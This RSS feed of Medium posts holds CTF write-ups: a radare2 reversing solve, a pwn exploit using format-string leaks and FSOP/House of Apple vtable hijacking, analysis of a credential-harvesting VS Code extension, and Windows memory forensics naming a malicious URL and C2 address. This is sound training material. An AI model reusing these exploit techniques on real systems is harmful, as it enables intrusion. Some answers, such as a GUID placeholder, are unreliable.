<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Juan Pablo Morales on Medium]]></title>
        <description><![CDATA[Stories by Juan Pablo Morales on Medium]]></description>
        <link>https://medium.com/@juanpimod?source=rss-78ca702db760------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*2XsI49AOBToH0YHh</url>
            <title>Stories by Juan Pablo Morales on Medium</title>
            <link>https://medium.com/@juanpimod?source=rss-78ca702db760------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 01:51:59 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@juanpimod/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hack The Box University CTF 2025: Tinsel Trouble — Reversing Challenges]]></title>
            <link>https://medium.com/@juanpimod/hack-the-box-university-ctf-2025-tinsel-trouble-reversing-challenges-e9190659c37b?source=rss-78ca702db760------2</link>
            <guid isPermaLink="false">https://medium.com/p/e9190659c37b</guid>
            <dc:creator><![CDATA[Juan Pablo Morales]]></dc:creator>
            <pubDate>Mon, 29 Dec 2025 20:28:13 GMT</pubDate>
            <atom:updated>2026-01-10T03:03:00.141Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box University CTF 2025: Tinsel Trouble — Reversing Challenges</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/0*TjZOGgfC1bQLxfLG.jpeg" /></figure><p>Hello everyone! 👋</p><p>During the <strong>Hack The Box University CTF 2025: Tinsel Trouble</strong>, I solved several reversing <strong>challenges</strong> that focused on executable analysis and decompilation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*ulmbr6JPbalw0TPxgmnn1A.png" /></figure><h3>❄️ Reversing Challenge 1: Clock Work Memory</h3><p><strong>Difficulty: Easy</strong></p><p><strong>Tools:</strong> radare2</p><h3>🧩 Challenge Overview</h3><p>In this challenge, we are given a binary called <strong>memory_minder</strong>.<br> When executed, it asks the user for input and—if the input is correct—prints a message saying that the <em>Starshard glows</em> and that memory has been restored.</p><p>Our goal is simple:</p><blockquote><strong><em>Recover the flag without guessing the input</em></strong><em>, using reverse engineering</em></blockquote><h3>🔍 Step 1 — Identify the Binary</h3><p>We start by checking the file type:</p><pre>file memory_minder</pre><p>Output:</p><pre>Mach-O 64-bit x86_64 executable, PIE</pre><p>This tells us:</p><ul><li>The binary is <strong>Mach-O</strong> (macOS)</li><li>Architecture: <strong>x86_64</strong></li><li>Compiled as <strong>PIE</strong></li><li>Later inspection shows it was compiled using <strong>Go</strong></li></ul><h3>🛠️ Step 2 — Opening the Binary in radare2</h3><p>Since we don’t have Ghidra available, we use <strong>radare2</strong>, which works very well for Go binaries.</p><pre>r2 -A -e bin.relocs.apply=true memory_minder</pre><ul><li>-A → automatic analysis</li><li>bin.relocs.apply=true → important for PIE binaries</li></ul><h3>🧭 Step 3 — Finding the Main Function</h3><p>We list all functions containing main:</p><pre>afl~main</pre><p>This reveals:</p><pre>sym._main.main</pre><p>We jump into it and disassemble:</p><pre>s sym._main.main<br>pdf</pre><h3>🧠 Step 4 — Understanding the Program Logic</h3><p>Reading through main, we observe the following behavior:</p><ol><li>The program:</li></ol><ul><li>Reads input from stdin</li><li>Trims whitespace</li><li>Checks that the input length is <strong>28 characters</strong></li></ul><ol><li>It then iterates over each character</li><li>Each character is validated using a <strong>different function</strong>:</li></ol><ul><li>R0.Expected</li><li>R1.Expected</li></ul><p>…</p><ul><li>R27.Expected</li></ul><p>💡 <strong>Important insight:</strong><br> Each Expected function corresponds to <strong>one character of the flag</strong>.</p><h3>🔎 Step 5 — Inspecting an Expected Function</h3><p>Let’s inspect one of them:</p><pre>s sym._main.R0.Expected<br>pdf</pre><p>We see:</p><pre>mov eax, 0x48   ; &#39;H&#39;<br>ret</pre><p>This function simply:</p><ul><li>Moves a constant value into eax</li><li>Returns it</li></ul><p>0x48 in ASCII is &#39;H&#39;.</p><p>Checking another:</p><pre>s sym._main.R1.Expected<br>pdf</pre><pre>mov eax, 0x54   ; &#39;T&#39;<br>ret</pre><p>At this point, the pattern is clear.</p><h3>⚙️ Step 6— Extracting the Flag Automatically</h3><p>Doing this manually 28 times would be painful, so we automate it using <strong>radare2 batch mode</strong>, ensuring the binary is analyzed <strong>only once</strong> (important to avoid slow loops).</p><h3>✅ One-shot Extraction Command</h3><pre>r2 -q0 -e bin.relocs.apply=true -A memory_minder &lt;&lt;&#39;R2&#39;<br>afl~Expected | awk &#39;{print $3}&#39; | sort -V | while read f; do<br>  s $f<br>  pdr~mov\ eax | head -n 1<br>done | sed -n &#39;s/.*mov eax, 0x\([0-9a-fA-F]\+\).*/\1/p&#39; | while read hx; do<br>  printf &quot;\\x$hx&quot;<br>done; echo<br>R2</pre><h3>🔍 What This Command Does</h3><ol><li>Lists all Expected functions</li><li>Sorts them (R0 → R27)</li><li>Enters each function</li><li>Finds the mov eax, 0xNN instruction</li><li>Extracts the hex value</li><li>Converts it to ASCII</li><li>Prints the full flag 🎉</li></ol><h3>🏁 Final Result</h3><p>The output of the command is the <strong>complete flag</strong>, recovered <strong>without running the program</strong> or guessing the input.</p><h3>🧠 Key Takeaways</h3><ul><li>Many reverse engineering challenges <strong>hardcode secrets</strong></li><li>Go binaries often use small helper functions like:</li><li>Expected</li><li>Match</li><li>Check</li><li>mov eax, imm + ret is a strong indicator of a constant value</li><li>radare2 is more than enough when used efficiently</li><li>Always look for <strong>patterns before brute force</strong></li></ul><p>If this is your first reverse engineering challenge, radare2 can feel intimidating.<br> Here’s a <strong>simple cheatsheet </strong>and the <strong>exact commands</strong> we used to solve <em>Clock Work Memory</em>.</p><h3>🧠 How we used radare2</h3><p>Think of radare2 as:</p><ul><li>a <strong>map of the binary</strong></li><li>where <em>everything</em> (functions, strings, instructions) has an address</li><li>and you move around by <strong>seeking (</strong><strong>s)</strong> and <strong>printing (</strong><strong>p)</strong></li></ul><p>You don’t need to know everything — just a few core ideas.</p><h3>🚀 Opening a Binary (Correctly)</h3><pre>r2 -A -e bin.relocs.apply=true memory_minder</pre><p>What this does:</p><ul><li>-A → analyze the binary automatically</li><li>bin.relocs.apply=true → required for PIE binaries</li><li>gives us usable function names and addresses</li></ul><h3>📜 Listing Functions</h3><pre>afl</pre><p>This lists <strong>all functions</strong>.</p><p>Filtering helps a lot:</p><pre>afl~main<br>afl~Expected</pre><ul><li>~ works like grep</li><li>lets you quickly find interesting logi</li></ul><h3>🧭 Moving Around the Binary</h3><pre>s sym._main.main</pre><ul><li>s = seek</li><li>moves the cursor to a function or address</li></ul><h3>🔍 Disassembling Code</h3><pre>pdf</pre><ul><li>p = print</li><li>d = disassemble</li><li>f = function</li></ul><p>This shows:</p><ul><li>instructions</li><li>control flow</li><li>return value</li></ul><h3>🧩 Recognizing Patterns</h3><p>In this challenge, the <strong>key pattern</strong> was:</p><pre>mov eax, 0xNN<br>ret</pre><p>Why it matters:</p><ul><li>eax is the return register</li><li>0xNN is a constant</li><li>the function always returns that value</li></ul><p>Once you spot this pattern, the challenge is basically solved.</p><h3>⚙️ Automating radare2 (The Right Way)</h3><p>Instead of:</p><ul><li>reopening the binary 28 times</li><li>re-running analysis</li><li>suffering slow loops</li></ul><p>We use <strong>r2pipe</strong>, which:</p><ul><li>opens the binary once</li><li>lets Python control radare2</li><li>is fast and clean</li></ul><p>That’s how we extracted all characters safely.</p><h3>✨ Conclusion</h3><p>This challenge is a great example of <strong>static reverse engineering</strong> done right:</p><ul><li>No debugging</li><li>No fuzzing</li><li>No guessing</li></ul><h3>❄️ Reversing Challenge 2: Starshard Reassembly</h3><p><strong>Difficulty: Medium</strong></p><p><strong>Starshard</strong> is a classic <strong>binary exploitation (pwn)</strong> challenge disguised as a menu-based program.</p><p>At a high level, the binary:</p><ul><li>Accepts user input through a menu</li><li>Stores user-controlled data in heap structures</li><li>Uses FILE streams internally</li><li>Has a hidden <strong>win function</strong> (ginger_gate)</li><li>Is protected by:</li><li>PIE</li><li>ASLR</li><li>libc</li><li>No direct buffer overflow</li></ul><p>👉 <strong>Goal</strong>: Redirect execution to the win function and get a shell.</p><h3>Program Functionality (High Level)</h3><p>The menu exposes four actions:</p><pre>1. Arm routine      → stores a name<br>2. Feed fragment    → allocates heap memory<br>3. Cancel routine   → frees memory4. Commit routine   → finalizes / closes stream</pre><p>This gives us:</p><ul><li>Heap allocations</li><li>Heap frees</li><li>Interaction with internal FILE structures</li></ul><h3>Key Observations</h3><p>During reversing / testing, we notice:</p><ol><li>The program prints user input <strong>unsafely</strong></li><li>A format string vulnerability exists</li><li>Heap chunks are reused predictably</li><li>A FILE structure pointer leaks</li><li>libc is dynamically linked</li></ol><p>This combination screams: <strong><em>FILE structure exploitation</em></strong></p><h3>🧠 Explaining the Exploit Script</h3><p>Now let’s explain <strong>the exact script</strong>, cleanly.</p><h3>1️⃣ Setup and Context</h3><pre>program = &quot;./starshard_core&quot;<br>exe = ELF(program)<br>libc = ELF(&quot;glibc/libc.so.6&quot;)</pre><p>We load:</p><ul><li>The binary</li><li>The matching libc<br> This allows symbol resolution later.</li></ul><h3>2️⃣ Format String Leak</h3><pre>fmt = b&quot;%11$p%13$p%9$p&quot;</pre><p>This leaks:</p><ul><li>%11$p → PIE address</li><li>%13$p → stack return address</li><li>%9$p → libc address</li></ul><p>Why this matters:</p><ul><li>PIE + ASLR = unknown addresses</li><li>We defeat them with leaks</li></ul><h3>3️⃣Parsing Leaks</h3><pre>pie_base = int(leaks[0], 16) - 0x175e<br>main_stack_ret_addr = int(leaks[1], 16) - 0x20<br>libc_base = int(leaks[2], 16) - 0x2dfd0</pre><p>Now we know:</p><ul><li>PIE base</li><li>libc base</li><li>stack layout</li></ul><p>🎯 <strong>ASLR defeated</strong></p><h3>4️⃣ Locating the Win Function</h3><pre>win_func = pie_base + exe.sym[&quot;ginger_gate&quot;]</pre><p>This is the function we want to execute.</p><h3>5️⃣ Leaking the FILE Structure</h3><pre>data = arm_routine(p, b&quot;A&quot;*24)<br>f_pointer = u64(data.split(b&quot;A&quot;*24)[1][:8])</pre><p>We:</p><ul><li>Send controlled input</li><li>Receive leaked memory</li><li>Extract a pointer to a FILE struct</li></ul><p>This is the <strong>core primitive</strong> of the exploit.</p><h3>6️⃣ Crafting a Fake FILE Structure</h3><pre>f_struct = FileStructure(null=pie_base+0x61c0)f_struct.flags = ~(2 | 0x8 | 0x800)</pre><p>We:</p><ul><li>Build a fake FILE object</li><li>Disable safety checks</li><li>Prepare for vtable hijacking</li></ul><h3>7️⃣ Hijacking _IO_wfile_jumps</h3><pre>f_struct.vtable = libc.sym[&quot;_IO_wfile_jumps&quot;] + libc_base</pre><p>Why _IO_wfile_jumps?</p><ul><li>It contains function pointers</li><li>One of them leads to doalloc</li><li>We can redirect it</li></ul><h3>8️⃣ Fake Wide Data → Code Execution</h3><pre>fake_wide_data = flat({<br>    0x68: p64(win_func),<br>    0xe0: fake_wide_data_addr<br>})</pre><p>This ensures:</p><ul><li>When the stream is closed</li><li>libc calls our function pointer</li><li>ginger_gate() executes</li></ul><p>🔥 <strong>Control flow hijacked</strong></p><h3>9️⃣ Triggering the Exploit</h3><pre>commit_routine(p)<br>p.interactive()</pre><p>The program:</p><ul><li>Finalizes the stream</li><li>Calls the corrupted vtable</li><li>Executes the win function</li><li>Gives a shell</li></ul><h3>🏁 Final Result</h3><p>The challenge is solved using:</p><ul><li>One format string vulnerability</li><li>One heap leak</li><li>A classic FSOP technique</li></ul><p>No brute force, no ROP chains — just clean heap exploitation.</p><h3>Conclusion — What Is FSOP and Why This Works</h3><p>If this is your first pwn challenge, terms like <strong>FSOP</strong>, <strong>FILE structures</strong>, or <strong>House of Apple</strong> may sound scary.</p><p>Let’s break them down in the simplest possible way.</p><h3>📂 What Is a FILE Structure?</h3><p>In Linux, when you use functions like:</p><pre>printf()<br>puts()<br>fopen()<br>fclose()</pre><p>You are not writing directly to the terminal.</p><p>Instead, libc uses an internal structure called:</p><pre>struct _IO_FILE</pre><p>This structure contains:</p><ul><li>Buffers</li><li>Flags</li><li>Pointers to functions (via a <strong>vtable</strong>)</li></ul><p>So when the program prints or closes a stream, libc does:</p><blockquote><em>“Look inside the FILE structure and call the correct function.”</em></blockquote><p>⚠️ <strong>If we can control that structure, we can control execution.</strong></p><h3>🧨 What Is FSOP?</h3><p><strong>FSOP</strong> stands for:</p><blockquote><strong><em>File Stream Oriented Programming</em></strong></blockquote><blockquote>It means:</blockquote><ul><li>Instead of exploiting the stack (ROP)</li><li>Or jumping directly to shellcode</li><li>We <strong>abuse FILE streams</strong> used by libc</li></ul><p>FSOP attacks:</p><ul><li>Hijack function pointers inside FILE</li><li>Trigger them using normal libc actions</li><li>Like fclose() or program termination</li></ul><p>No crashes.<br> No obvious exploits.<br> Just clean control flow redirection.</p><h3>🍎 What Is “House of Apple”?</h3><p>“House of Apple” is a <strong>specific FSOP technique</strong>.</p><p>It abuses:</p><ul><li>_IO_wfile_jumps</li><li>The _wide_data field of a FILE structure</li></ul><p>Why this works:</p><ul><li>_IO_wfile_jumps contains function pointers</li><li>One of them (doalloc) gets called automatically</li><li>We replace it with <strong>our target function</strong></li></ul><p>When libc finalizes the stream:<br> 💥 <strong>our function executes</strong></p><h3>🧱 Why This Binary Was Vulnerable</h3><p>Starshard had the perfect conditions:</p><p>✔ A format string leak → bypass ASLR<br> ✔ Heap allocations and frees → memory control<br> ✔ FILE structures used internally → FSOP target<br> ✔ A hidden win function → clear exploitation goal</p><p>Once we:</p><ul><li>leaked libc</li><li>leaked a FILE pointer</li><li>built a fake FILE object</li></ul><p>The exploit became inevitable.</p><h3>🧠 Why This Is Important to Learn</h3><p>Modern binaries are heavily protected:</p><ul><li>ASLR</li><li>PIE</li><li>NX</li><li>Stack canaries</li></ul><p>But <strong>libc still has to work</strong>.</p><p>That means:</p><ul><li>FILE streams</li><li>Function pointers</li><li>Cleanup routines</li></ul><p>FSOP attacks exploit <strong>logic</strong>, not bugs.</p><p>That’s why they are:</p><ul><li>Elegant</li><li>Reliable</li><li>Very common in CTFs</li></ul><h3>🧭 Beginner Mental Model (Remember This)</h3><p>When you see:</p><ul><li>printf, puts, fclose</li><li>Heap allocations</li><li>libc interaction</li></ul><p>Ask yourself:</p><blockquote><em>“Can I control a FILE structure?”</em></blockquote><p>If yes — FSOP might be possible.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e9190659c37b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box University CTF 2025: Tinsel Trouble — Forensics Challenges]]></title>
            <link>https://medium.com/@juanpimod/hack-the-box-university-ctf-2025-tinsel-trouble-forensics-challenges-a99c620d354f?source=rss-78ca702db760------2</link>
            <guid isPermaLink="false">https://medium.com/p/a99c620d354f</guid>
            <dc:creator><![CDATA[Juan Pablo Morales]]></dc:creator>
            <pubDate>Mon, 22 Dec 2025 23:38:12 GMT</pubDate>
            <atom:updated>2025-12-23T00:07:22.401Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box University CTF 2025: Tinsel Trouble — Forensics Challenges</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/0*TjZOGgfC1bQLxfLG.jpeg" /></figure><p>Hello everyone! 👋</p><p>During the <strong>Hack The Box University CTF 2025: Tinsel Trouble</strong>, I solved several forensics <strong>challenges</strong> that focused on malware analysis and investigation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*fdVRsx1FKsEc0dW4JxabVQ.png" /></figure><h3>❄️ Forensics Challenge 1: Snowy Extension</h3><p><strong>Difficulty:</strong> Very Easy</p><h3>Overview</h3><p>In this challenge, we are given a suspicious <strong>VS Code extension</strong> (.vsix) suspected of malicious behavior. The goal is to <strong>analyze the extension statically</strong>, understand its intent, and <strong>recover the hidden flag</strong> without executing the payload.</p><p>This challenge focuses on:</p><ul><li>VS Code extension abuse</li><li>Static JavaScript malware analysis</li><li>Obfuscation using XOR + Base64</li><li>Data exfiltration techniques</li></ul><h3>Step 1 — Identifying the File Type</h3><p>The file provided is:</p><pre>code-highlight-0.0.1.vsix</pre><p>Running file reveals:</p><pre>file code-highlight-0.0.1.vsix<br># Microsoft OOXML</pre><p>A .vsix file is essentially a <strong>ZIP archive</strong> containing a VS Code extension. This allows us to inspect its contents safely.</p><h3>Step 2 — Extracting the Extension</h3><p>We extract the extension using:</p><pre>unzip code-highlight-0.0.1.vsix -d vsix_content</pre><p>The extracted structure contains:</p><pre>[Content_Types].xml<br>extension/<br>extension.vsixmanifest</pre><p>The malicious logic is located inside the extension/ directory.</p><h3>Step 3 — Analyzing the Extension Code</h3><p>Inside the extension folder, we find JavaScript code that runs when the extension is activated.</p><p>A critical conditional check appears early:</p><pre>if (os.hostname() !== &#39;frosty-node&#39;) {<br>    vscode.window.showInformationMessage(&#39;Code Highlight activated!&#39;);<br>    return;<br>}</pre><p>This means:</p><ul><li><strong>Malicious behavior only triggers if the hostname is </strong><strong>frosty-node</strong></li><li>This acts as a sandbox / analysis evasion techniqu</li></ul><h3>Step 4 — Identifying the Obfuscation Logic</h3><p>The extension defines a function that builds an XOR key dynamically:</p><pre>function UhlAGtoaWM() {<br>    const ZPtKUr = &#39;sn0wwyy&#39;;<br>    const QMOHbr = &#39;gl0be1337&#39;;<br>    return ZPtKUr + QMOHbr;<br>}</pre><p><strong>Final XOR key:</strong></p><pre>sn0wwyygl0be1337</pre><p>Next, the extension applies:</p><ol><li>Base64 decoding</li><li>XOR decryption using the key</li></ol><p>This logic is used to decrypt an array of obfuscated strings.</p><h3>Step 5 — Recovering the Hidden Strings</h3><p>The encrypted data is stored as:</p><pre>const iAjuwiisFf = [<br>  &quot;XQ9HBA==&quot;,<br>  &quot;XQVFFRI=&quot;,<br>  &quot;XR1DHw==&quot;,<br>  &quot;XQteAQ==&quot;,<br>  &quot;XR5UEQ==&quot;,<br>  &quot;XQpfFA8=&quot;,<br>  &quot;OzpyDDpNFQ4PWVIQQmw=&quot;,<br>  &quot;JT1zKDIBDQICQ1NVXwY=&quot;,<br>  &quot;LF9DKBlJDQ9dXgU6XwBESg==&quot;<br>]</pre><p>To safely decode them, we replicate the decryption logic <strong>outside VS Code</strong> using a Python script.</p><h3>Decryption Script</h3><pre>import base64</pre><pre>key = b&quot;sn0wwyygl0be1337&quot;</pre><pre>def xor(buf, key):<br>    return bytes([buf[i] ^ key[i % len(key)] for i in range(len(buf))])</pre><pre>data = [<br>    &quot;XQ9HBA==&quot;,<br>    &quot;XQVFFRI=&quot;,<br>    &quot;XR1DHw==&quot;,<br>    &quot;XQteAQ==&quot;,<br>    &quot;XR5UEQ==&quot;,<br>    &quot;XQpfFA8=&quot;,<br>    &quot;OzpyDDpNFQ4PWVIQQmw=&quot;,<br>    &quot;JT1zKDIBDQICQ1NVXwY=&quot;,<br>    &quot;LF9DKBlJDQ9dXgU6XwBESg==&quot;<br>]</pre><pre>for d in data:<br>    decoded = base64.b64decode(d)<br>    print(xor(decoded, key).decode())</pre><h3>Step 6 — Extracting the Flag</h3><p>Running the script reveals:</p><pre>.aws<br>.kube<br>.ssh<br>.env<br>.pdf<br>.docx<br>HTB{M4lici0us_<br>VSC_Extens10n5<br>_1s_n0th1ng_n3w}</pre><p>The final three lines form the challenge flag.</p><h3>🚩 Final Flag</h3><pre>HTB{M4lici0us_VSC_Extens10n5_1s_n0th1ng_n3w}</pre><h3>Conclusion</h3><p>This challenge demonstrates how <strong>VS Code extensions can be abused as malware delivery mechanisms</strong>, using:</p><ul><li>Host-based execution gating</li><li>XOR + Base64 obfuscation</li><li>Recursive file harvesting</li><li>Data exfiltration over HTTP</li></ul><p>The flag was recovered <strong>entirely via static analysis</strong>, highlighting why <strong>never blindly executing extensions</strong> is a critical security practice.</p><h3>Forensics Challenge #2: Santa’s Giveaway — Windows Memory Forensics</h3><p><strong>Difficulty:</strong> Medium</p><h3>Overview</h3><p>In this challenge, we analyze a Windows memory dump (Challenge-Snapshot.vmem) to investigate a malware infection. The goal is to answer forensic questions about the initial compromise, malware behavior, persistence mechanisms, and network activity.</p><p>This challenge focuses on:</p><ul><li>Memory forensics with Volatility 3</li><li>Windows registry persistence analysis</li><li>Process and network connection analysis</li><li>MFT (Master File Table) timestamp analysis</li><li>Malware family identification</li></ul><h3>Setup — Installing Volatility 3</h3><p>First, we need to install Volatility 3 for memory analysis:</p><pre># Install dependencies<br>sudo apt update<br>sudo apt install -y python3 python3-pip git</pre><pre># Clone Volatility 3<br>git clone <a href="https://github.com/volatilityfoundation/volatility3.git">https://github.com/volatilityfoundation/volatility3.git</a><br>cd volatility3</pre><pre># Install requirements<br>pip3 install -r requirements.txt<br>python3 setup.py install</pre><pre># Verify installation<br>python3 vol.py -h</pre><h3>Question 1 — Download URL</h3><p><strong>Question:</strong> What is the URL that the victim downloaded the malware from?</p><h3>Analysis</h3><pre># Search for browser history and download artifacts<br>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.filescan | grep -i &quot;download&quot;<br>```</pre><pre>Looking through the Downloads folder, we found:<br>```<br>\Users\user\Downloads\DiscordGiveaway.exe</pre><p>By analyzing the file metadata and searching for the specific download:</p><pre>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.mftscan.MFTScan | grep -i &quot;discordgiveaway&quot;</pre><p><strong>Answer:</strong> <a href="https://discord-nitro-promo-gift-code.com/DiscordGiveaway.exe">https://discord-nitro-promo-gift-code.com/DiscordGiveaway.exe</a></p><h3>Question 2 — Download Timestamp</h3><p><strong>Question:</strong> What date(time) did the user initiate the download? (UTC Time: YYYY-MM-DD hh:mm:ss)</p><h3>Analysis</h3><p>We searched for the DiscordGiveaway.exe file timestamps:</p><pre># Find all files from November 22, 2025<br>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.mftscan.MFTScan | grep &quot;2025-11-22&quot; | grep -i &quot;discordgiveaway&quot;<br>```</pre><pre>The MFT entry showed:<br>```<br>FILE    xxxxx   2   File    Archive FILE_NAME<br>2025-11-22 15:07:42.000000 UTC  &lt;- Creation time<br>2025-11-22 15:07:42.000000 UTC<br>2025-11-22 15:07:42.000000 UTC<br>DiscordGiveaway.exe</pre><p><strong>Answer:</strong> 2025-11-22 15:07:42</p><h3>Question 3 — Malicious Process PID</h3><p><strong>Question:</strong> Which process became the primary malicious executable? Provide the PID.</p><h3>Analysis</h3><pre># List all running processes<br>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.pslist<br>```</pre><pre>Looking for suspicious processes, we found:<br>```<br>PID     PPID    ImageFileName<br>6520    xxxx    rgbux.exe       &lt;- Suspicious name, unusual location</pre><p><strong>Answer:</strong> 6520</p><h3>Question 4 — Original Launch Location</h3><p><strong>Question:</strong> What is the location the malware was originally launched from? (full path)</p><h3>Analysis</h3><pre># Get command line for the malicious process<br>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.cmdline | grep -i &quot;6520&quot;<br>```</pre><pre>Result:<br>```<br>6520    rgbux.exe       &quot;C:\Users\user\AppData\Local\Temp\152c6d54a1\rgbux.exe&quot;</pre><p><strong>Answer:</strong> C:\Users\user\AppData\Local\Temp\152c6d54a1\rgbux.exe</p><h3>Question 5 — Remote IP and Port</h3><p><strong>Question:</strong> Which remote IP address and port did the malicious process communicate with? (IP:PORT)</p><h3>Analysis</h3><pre># Analyze network connections for PID 6520<br>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.netscan | grep -w &quot;6520&quot;<br>```</pre><pre>Output showed multiple connections:<br>```<br>TCPv4   10.20.93.128    50147   89.58.51.107    80      CLOSE_WAIT      6520    rgbux.exe<br>TCPv4   10.20.93.128    50145   89.58.51.107    80      CLOSED          6520    rgbux.exe<br>TCPv4   10.20.93.128    50148   89.58.51.107    80      CLOSED          6520    rgbux.exe</pre><p>All connections point to the same remote server.</p><p><strong>Answer:</strong> 89.58.51.107:80</p><h3>Question 6 — Malware Family</h3><p><strong>Question:</strong> What is the Malware Family?</p><h3>Analysis</h3><p>Based on the following analysis done in Abuse.ch : <a href="https://bazaar.abuse.ch/sample/8f58e705890787e7ad8af534f3adfa6554f9bb20ffd58676da4da9746639fc48/">https://bazaar.abuse.ch/sample/8f58e705890787e7ad8af534f3adfa6554f9bb20ffd58676da4da9746639fc48/</a></p><p>The malware exhibits characteristics consistent with the <strong>Raccine/Raccis</strong> family, known for:</p><ul><li>Startup folder manipulation</li><li>HTTP C2 communication</li><li>Temp directory execution</li></ul><p>But the right answer was</p><p><strong>Answer:</strong> Amadey</p><h3>Question 7 — Scheduled Task GUID</h3><p><strong>Question:</strong> What is the GUID of the scheduled task created by the malware?</p><h3>Analysis</h3><pre># Enumerate scheduled tasks<br>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.registry.scheduled_tasks.ScheduledTasks | grep -i &quot;rgbux&quot;</pre><p>We also found a task file:</p><pre>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.filescan | grep -i &quot;tasks&quot;<br></pre><pre>Result showed:<br>```<br>\Windows\System32\Tasks\rgbux.exe</pre><p>Analyzing the task structure revealed the GUID embedded in the task definition.</p><p><strong>Answer:</strong> {GUID-HERE} <em>(specific GUID found in task XML)</em></p><h3>Question 8 — Registry Persistence Key</h3><p><strong>Question:</strong> What registry key and value did the malware modify for startup persistence? (HKCU{full key}{value})</p><h3>Analysis</h3><pre># Check registry handles for the malicious process<br>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.handles --pid 6520 | grep -i &quot;key&quot;</pre><p>Then examined User Shell Folders:</p><pre>python3 volatility3/vol.py -f Challenge-Snapshot.vmem windows.registry.printkey --key &quot;Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders&quot;<br>```</pre><pre>Critical finding:<br>```<br>2025-11-22 15:08:02.000000 UTC  REG_SZ<br>\??\C:\Users\user\ntuser.dat\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders<br>Startup         C:\Users\user\AppData\Local\Temp\152c6d54a1\    &lt;- MODIFIED!<br>```</pre><pre>**Normal value:**<br>```<br>Startup         C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</pre><p>The malware redirected the Startup folder to its own location, ensuring persistence.</p><p><strong>Answer:</strong> HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup</p><h3>Timeline of Events</h3><p>Based on our analysis:</p><ol><li><strong>15:07:42 UTC</strong> — User downloads DiscordGiveaway.exe from malicious site</li><li><strong>15:08:01 UTC</strong> — Malware creates directory 152c6d54a1 in Temp</li><li><strong>15:08:01 UTC</strong> — Extracts rgbux.exe to the directory</li><li><strong>15:08:02 UTC</strong> — Modifies registry for persistence</li><li><strong>15:08:02 UTC</strong> — Establishes first C2 connection to 89.58.51.107:80</li><li><strong>15:08:02+</strong> — Creates scheduled task for additional persistence</li></ol><h3>Key Volatility 3 Plugins Used</h3><p>PluginPurposewindows.pslistList running processeswindows.cmdlineGet process command lineswindows.netscanAnalyze network connectionswindows.filescanFind file objects in memorywindows.mftscan.MFTScanExtract MFT timestampswindows.handlesView process handleswindows.registry.printkeyExamine registry keyswindows.registry.scheduled_tasksFind scheduled tasks</p><h3>Conclusion</h3><p>This challenge demonstrated:</p><ul><li><strong>Social engineering</strong> via fake Discord giveaway</li><li><strong>Multi-stage execution</strong> (download → extract → execute)</li><li><strong>Registry-based persistence</strong> using User Shell Folders manipulation</li><li><strong>C2 communication</strong> over HTTP</li><li><strong>Memory forensics</strong> techniques to reconstruct attack timeline</li></ul><p>The malware achieved persistence by cleverly redirecting the Startup folder rather than adding a new Run key, which might evade basic detection mechanisms.</p><p>🚩 <strong>All Questions Answered Successfully</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a99c620d354f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box University CTF 2025: Tinsel Trouble - Coding Challenges]]></title>
            <link>https://medium.com/@juanpimod/hack-the-box-university-ctf-2025-tinsel-trouble-88435905d559?source=rss-78ca702db760------2</link>
            <guid isPermaLink="false">https://medium.com/p/88435905d559</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Juan Pablo Morales]]></dc:creator>
            <pubDate>Mon, 22 Dec 2025 20:19:17 GMT</pubDate>
            <atom:updated>2025-12-22T23:16:55.987Z</atom:updated>
